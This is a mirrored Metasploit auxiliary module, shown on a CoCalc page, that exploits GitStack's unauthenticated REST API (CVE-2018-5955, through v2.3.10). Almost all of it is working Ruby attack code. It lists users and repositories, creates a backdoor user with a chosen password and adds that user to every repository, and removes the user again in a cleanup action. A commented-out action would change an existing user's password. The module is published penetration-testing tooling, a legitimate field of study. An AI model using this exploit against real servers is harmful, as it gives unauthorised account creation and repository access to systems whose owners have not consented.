CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/gitstack_rest.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'GitStack Unauthenticated REST API Requests',
15
'Description' => %q{
16
This modules exploits unauthenticated REST API requests in GitStack through v2.3.10.
17
The module supports requests for listing users of the application and listing
18
available repositories. Additionally, the module can create a user and add the user
19
to the application's repositories. This module has been tested against GitStack v2.3.10.
20
},
21
'Author' => [
22
'Kacper Szurek', # Vulnerability discovery and PoC
23
'Jacob Robles' # Metasploit module
24
],
25
'License' => MSF_LICENSE,
26
'References' => [
27
['CVE', '2018-5955'],
28
['EDB', '43777'],
29
['EDB', '44044']
30
],
31
'DisclosureDate' => '2018-01-15',
32
'Actions' => [
33
[
34
'LIST',
35
{
36
'Description' => 'List application users',
37
'List' => 'GET',
38
'UserPath' => '/rest/user/'
39
}
40
],
41
[
42
'CREATE',
43
{
44
'Description' => 'Create a user on the application',
45
'Create' => 'POST',
46
'List' => 'GET',
47
'UserPath' => '/rest/user/',
48
'RepoPath' => '/rest/repository/'
49
}
50
],
51
# If this is uncommented, you will be able to change an
52
# existing user's password.
53
# After modifying the user's password, the user will be
54
# added to all available repositories.
55
# The cleanup action removes the user from all repositories
56
# and then deletes the user... so this action may not be desirable.
57
# [
58
# 'MODIFY',
59
# {
60
# 'Description' => "Change the application user's password",
61
# 'Create' => 'PUT',
62
# 'List' => 'GET',
63
# 'UserPath' => '/rest/user/',
64
# 'RepoPath' => '/rest/repository/'
65
# }
66
# ],
67
[
68
'LIST_REPOS',
69
{
70
'Description' => 'List available repositories',
71
'List' => 'GET',
72
'RepoPath' => '/rest/repository/'
73
}
74
],
75
[
76
'CLEANUP',
77
{
78
'Description' => 'Remove user from repositories and delete user',
79
'List' => 'GET',
80
'Remove' => 'DELETE',
81
'RepoPath' => '/rest/repository/',
82
'UserPath' => '/rest/user/'
83
}
84
]
85
],
86
'DefaultAction' => 'LIST'
87
)
88
)
89
90
register_options(
91
[
92
OptString.new('USERNAME', [false, 'User to create or modify', 'msf']),
93
OptString.new('PASSWORD', [false, 'Password for user', 'password'])
94
]
95
)
96
end
97
98
def get_users
99
path = action.opts['UserPath']
100
begin
101
res = send_request_cgi({
102
'uri' => path,
103
'method' => action.opts['List']
104
})
105
rescue Rex::ConnectionError, Errno::ECONNRESET => e
106
print_error("Failed: #{e.class} - #{e.message}")
107
return
108
end
109
if res && res.code == 200
110
begin
111
mylist = res.get_json_document
112
mylist -= ['everyone']
113
rescue JSON::ParserError => e
114
print_error("Failed: #{e.class} - #{e.message}")
115
return
116
end
117
mylist.each do |item|
118
print_good(item.to_s)
119
end
120
end
121
end
122
123
def get_repos
124
path = action.opts['RepoPath']
125
begin
126
res = send_request_cgi({
127
'uri' => path,
128
'method' => action.opts['List']
129
})
130
rescue Rex::ConnectionError, Errno::ECONNRESET => e
131
print_error("Failed: #{e.class} - #{e.message}")
132
return nil
133
end
134
if res && res.code == 200
135
begin
136
mylist = res.get_json_document
137
return mylist
138
rescue JSON::ParserError => e
139
print_error("Failed: #{e.class} - #{e.message}")
140
return nil
141
end
142
else
143
return nil
144
end
145
end
146
147
def clean_app
148
user = datastore['USERNAME']
149
unless user
150
print_error('USERNAME required')
151
return
152
end
153
154
mylist = get_repos
155
if mylist
156
# Remove user from each repository
157
mylist.each do |item|
158
path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"
159
begin
160
res = send_request_cgi({
161
'uri' => path,
162
'method' => action.opts['Remove']
163
})
164
rescue Rex::ConnectionError, Errno::ECONNRESET => e
165
print_error("Failed: #{e.class} - #{e.message}")
166
return
167
end
168
169
if res && res.code == 200
170
print_good(res.body.to_s)
171
else
172
print_status("User #{user} doesn't have access to #{item['name']}")
173
end
174
end
175
end
176
177
# Delete the user account
178
path = "#{action.opts['UserPath']}#{user}/"
179
begin
180
res = send_request_cgi({
181
'uri' => path,
182
'method' => action.opts['Remove']
183
})
184
rescue Rex::ConnectionError, Errno::ECONNRESET => e
185
print_error("Failed: #{e.class} - #{e.message}")
186
return
187
end
188
189
# Check if the account was successfully deleted
190
if res && res.code == 200
191
print_good(res.body.to_s)
192
else
193
print_error(res.body.to_s)
194
end
195
end
196
197
def add_user
198
user = datastore['USERNAME']
199
pass = datastore['PASSWORD']
200
201
begin
202
res = send_request_cgi({
203
'uri' => action.opts['UserPath'],
204
'method' => action.opts['Create'],
205
'vars_post' => {
206
'username' => user,
207
'password' => pass
208
}
209
})
210
rescue Rex::ConnectionError, Errno::ECONNRESET => e
211
print_error("Failed: #{e.class} - #{e.message}")
212
return
213
end
214
if res && res.code == 200
215
print_good("SUCCESS: #{user}:#{pass}")
216
else
217
print_error(res.body.to_s)
218
return
219
end
220
221
mylist = get_repos
222
if mylist
223
mylist.each do |item|
224
path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"
225
begin
226
res = send_request_cgi({
227
'uri' => path,
228
'method' => action.opts['Create']
229
})
230
rescue Rex::ConnectionError, Errno::ECONNRESET => e
231
print_error("Failed: #{e.class} - #{e.message}")
232
next
233
end
234
if res && res.code == 200
235
print_good(res.body.to_s)
236
else
237
print_error('Failed to add user')
238
print_error(res.body.to_s)
239
end
240
end
241
else
242
print_error('Failed to retrieve repository list')
243
end
244
end
245
246
def run
247
if ['LIST'].include?(action.name)
248
print_status('Retrieving Users')
249
get_users
250
elsif ['LIST_REPOS'].include?(action.name)
251
print_status('Retrieving Repositories')
252
mylist = get_repos
253
if mylist
254
mylist.each do |item|
255
print_good((item['name']).to_s)
256
end
257
else
258
print_error('Failed to retrieve repository list')
259
end
260
elsif ['CLEANUP'].include?(action.name)
261
clean_app
262
elsif datastore['USERNAME'] && datastore['PASSWORD']
263
add_user
264
else
265
print_error('USERNAME and PASSWORD required')
266
end
267
end
268
end
269
270